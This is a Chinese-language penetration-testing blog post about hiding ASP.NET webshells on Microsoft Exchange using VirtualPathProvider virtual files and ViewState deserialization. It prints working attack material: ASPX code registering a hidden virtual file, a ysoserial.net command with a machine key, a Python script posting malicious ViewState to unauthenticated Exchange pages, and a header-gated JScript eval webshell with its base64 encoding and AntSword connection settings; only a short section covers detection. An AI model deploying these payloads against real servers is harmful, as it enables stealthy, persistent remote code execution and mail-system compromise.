渗透技巧——利用虚拟文件隐藏 ASP.NET Webshell

发布于 2024-12-22 06:35:29 字数 11487 浏览 21 评论 0

0x00 前言

通过 ASP.NET 的 VirtualPathProvider 类能够创建虚拟文件,实现以下效果:虚拟文件不存在于服务器的文件系统,但是能够对其动态编译并提供访问服务。 ysoserial.netGhostWebShell.cs 提供了一种可供学习的利用思路。

本文将要介绍虚拟文件的利用方法,在 ysoserial.netGhostWebShell.cs 基础上介绍 Exchange 下的利用方法,开源代码,记录细节,给出防御建议。

0x01 简介

本文将要介绍以下内容:

  • VirtualPathProvider 在 Exchange 下的利用
  • DotNet 反序列化在 Exchange 下的利用
  • 防御检测

0x02 VirtualPathProvider 在 Exchange 下的利用

参考资料:https://docs.microsoft.com/en-us/dotnet/api/system.web.hosting.virtualpathprovider?view=netframework-4.8

在实现上需要继承 VirtualPathProvider 类并重写两个方法:FileExists 和 GetFile,注册 VirtualPathProvider 并创建实例后,实现虚拟文件的创建

示例代码:

<%@ Page Language="C#" AutoEventWireup="true" validateRequest="false" EnableViewStateMac="false" %>
<%@ Import Namespace="System.Web.Hosting" %>
<%@ Import Namespace="System.Web.Compilation" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">

    public class DeferredPathProvider : VirtualPathProvider
    {
        public DeferredPathProvider() : base()
        {
        }

        public bool IsTargetVirtualPath(string virtualPath)
        {
            string path = VirtualPathUtility.ToAppRelative(virtualPath);
            return path.StartsWith("~/deferred", StringComparison.InvariantCultureIgnoreCase);
        }

        public override VirtualFile GetFile(string virtualPath)
        {
            if (IsTargetVirtualPath(virtualPath))
            {
                return new DeferredVirtualFile(this, virtualPath);
            }
            else
            {
                return Previous.GetFile(virtualPath);
            }
        }

        public override bool FileExists(string virtualPath)
        {
            return IsTargetVirtualPath(virtualPath) ? true : Previous.FileExists(virtualPath);
        }
    }

    public class DeferredVirtualFile : VirtualFile
    {
        DeferredPathProvider provider = null;

        public DeferredVirtualFile(DeferredPathProvider provider, string virtualFile) : base(virtualFile)
        {
            this.provider = provider;
        }

        public override Stream Open()
        {
        Stream stream = new MemoryStream();

        StreamWriter writer = new StreamWriter(stream);
        writer.Write("<%@ Page Language=\"C#\" AutoEventWireup=\"true\" %>\r\n" +
            "<% Response.Write(\"Compiled on the fly :)\"); %>");
        writer.Flush();
        stream.Seek(0, SeekOrigin.Begin);

        return stream;
        }
    }

    private Page handler = null;
    public void Page_Load()
    {
        DeferredPathProvider provider = new DeferredPathProvider();
        typeof(HostingEnvironment).GetMethod("RegisterVirtualPathProviderInternal",
        BindingFlags.Static | BindingFlags.InvokeMethod | BindingFlags.NonPublic)
        .Invoke(null, new object[] { provider });

        handler = (Page) BuildManager.CreateInstanceFromVirtualPath("~/deferred.aspx", typeof(Page));
        handler.ProcessRequest(HttpContext.Current);
    }

    protected override void Render(HtmlTextWriter writer)
    {
    }
</script>

注:代码来自 https://kernel32.org/posts/evading-anti-virus-by-using-dynamic-code-generation-and-reflection/

在 Exchange 上进行如下测试:

保存位置: %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\test1.aspx

访问 url: https://<url>/owa/auth/test1.aspx/deferred.aspx ,返回结果: Compiled on the fly :) ,虚拟文件被成功访问

注:虚拟文件的可访问路径为: https://<url>/owa/auth/test1.aspx/<任意字符>

创建虚拟文件时,会在临时目录下产生编译文件,默认位置: C:\Windows\Microsoft.NET\Framework64|Framework\<version>\Temporary ASP.NET Files\owa\<hash1>\<hash2>\

文件名称: test1.aspx.<hash3>.compiled

如果删除原文件 test1.aspx,那么虚拟文件也随之失效,无法访问

通过这种方式实现的 Webshell,虽然能够隐藏真实的文件内容,但是需要依赖文件,容易被清除,隐蔽性不够

而利用 ysoserial.netGhostWebShell.cs 恰恰能够解决这个问题,提高隐蔽性。

0x03 DotNet 反序列化的利用

参考代码:https://github.com/pwntester/ysoserial.net/blob/master/ExploitClass/GhostWebShell.cs

测试环境:

获得了 Exchange 文件读写权限,能够修改 %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\web.config%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\web.config ,设置 machineKey 的内容如下:

<machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" />

对于这两个位置的.Net 反序列化命令执行,不再需要合法用户的凭据

这里选择 %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx ,对应的 generator 为 042A94E8

使用 ysoserial.net 生成 ViewState 的参数如下:

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -f LosFormatter -c "ghostfile.cs;System.Web.dll;System.dll;" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="042A94E8"

使用如下代码发送 ViewState:

# encoding: UTF-8
import requests
import re
import sys
import os
import json
import urllib3
urllib3.disable_warnings()

from urllib.parse import quote
import urllib.parse

if __name__ == '__main__':
    if len(sys.argv)!=4:
        note = '''
Usage:
    <url> <key> <path>
<path>: owa or ecp

eg.    
    {0} 192.168.1.1 CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF owa
    {1} mail.test.com CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF ecp    
        '''
        print(note.format(sys.argv[0],sys.argv[0]))
        sys.exit(0)
    else:
        targeturl = "";
        generator = ""; 
        try:
            if sys.argv[3] == "owa":
                targeturl = "https://" + sys.argv[1] + "/owa/auth/errorFE.aspx";
                generator = "042A94E8";

            elif sys.argv[3] == "ecp":
                targeturl = "https://" + sys.argv[1] + "/ecp/auth/TimeoutLogout.aspx";
                generator = "277B1C2A";
            else:
                print("[!] Wrong input");

            print("[*] TargetURL: " + targeturl)

            out_payload = "<ViewState Data>"

            body = {"__VIEWSTATEGENERATOR": generator,"__VIEWSTATE": out_payload}
            postData = urllib.parse.urlencode(body).encode("utf-8")

            headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36xxxxx",
                "Content-Type":"application/x-www-form-urlencoded"
            } 
            status = requests.post(url=targeturl, headers=headers, data=postData, verify=False, timeout=15)

            print(status.status_code)
            print(status.headers)
            print(status.text) 

        except Exception as e:
            print("[!] Error:%s"%(e))
            exit(0)

访问 https://<url>/owa/auth/fakepath31337/<任意字符>.aspx ,返回结果: This is the attacker's file - running on the server if this 1337 is 1337. ,虚拟文件被成功访问

这种方式不需要依赖文件,提高隐蔽性,接下来修改 GhostWebShell.cs 实现 Webshell 的功能,将虚拟目录设置为根目录,访问的 url 示例: https://<url>/owa/auth/<任意字符>.aspx

为了避免意外访问,需要添加访问条件,填入 Header 判断,如果不满足条件跳转至错误页面 errorFE.aspx

一句话的测试代码:

<%@ Page Language="Jscript"%><%
if(Request.Headers["Value"]=="00HGAT3K0AXHV2RF2W0G")
{
eval(Request.Item["antsword"],"unsafe");    
}
else
{
Response.Redirect("/owa/auth/errorFE.aspx?httpCode=404");
}
%>

使用 AntSword 连接时,需要设置 HTTP HEADERS,内容如下:

Name:  Value
Value: 00HGAT3K0AXHV2RF2W0G

Base64 后的字符为: PCVAIFBhZ2UgTGFuZ3VhZ2U9IkpzY3JpcHQiJT48JQppZihSZXF1ZXN0LkhlYWRlcnNbIlZhbHVlIl09PSIwMEhHQVQzSzBBWEhWMlJGMlcwRyIpCnsKZXZhbChSZXF1ZXN0Lkl0ZW1bImFudHN3b3JkIl0sInVuc2FmZSIpOwkKfQplbHNlCnsKUmVzcG9uc2UuUmVkaXJlY3QoIi9vd2EvYXV0aC9lcnJvckZFLmFzcHg/aHR0cENvZGU9NDA0Iik7Cn0KJT4=

替换 GhostWebShell.cs 中的 webshellContentsBase64

完整的 Python 实现代码已上传至 github,地址如下:https://github.com/3gstudent/Homework-of-Python/blob/master/ExchangeDeserializeShell-NoAuth-ghostfile.py

代码支持两个位置的反序列化执行,分别为默认存在的文件 %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\auth\TimeoutLogout.aspx ,能够自动生成带有 Webshell 功能的 GhostWebShell.cs,使用 ysoserial.net 生成 ViewState 并发送

完整的 C#实现代码已上传至 github,地址如下:https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpExchangeDeserializeShell-NoAuth-ghostfile.cs

代码功能同上,可直接编译并执行,不再依赖 ysoserial.net

注:

为了便于在 Exchange 下进行测试,我将 GhostWebShell.cs 修改成了 aspx 文件,可以直接访问进行测试,代码地址如下:https://github.com/3gstudent/test/blob/master/PageLoad_ghostfile.aspx

0x04 防御检测

利用虚拟文件创建的 ASP.NET Webshell,不再需要写入 aspx 文件,在防御上可监控临时目录下产生的编译文件,默认位置: C:\Windows\Microsoft.NET\Framework64|Framework\<version>\Temporary ASP.NET Files\owa\<hash1>\<hash2>\

需要注意的是攻击者在产生编译文件后可以进行删除

0x05 小结

本文介绍了虚拟文件的利用方法,针对 Exchange 环境,分别介绍了 VirtualPathProvider 和 DotNet 反序列化的利用,给出防御建议。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

单身狗的梦

暂无简介

文章
评论
27 人气
更多

推荐作者

櫻之舞

文章 0 评论 0

弥枳

文章 0 评论 0

m2429

文章 0 评论 0

野却迷人

文章 0 评论 0

我怀念的。

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文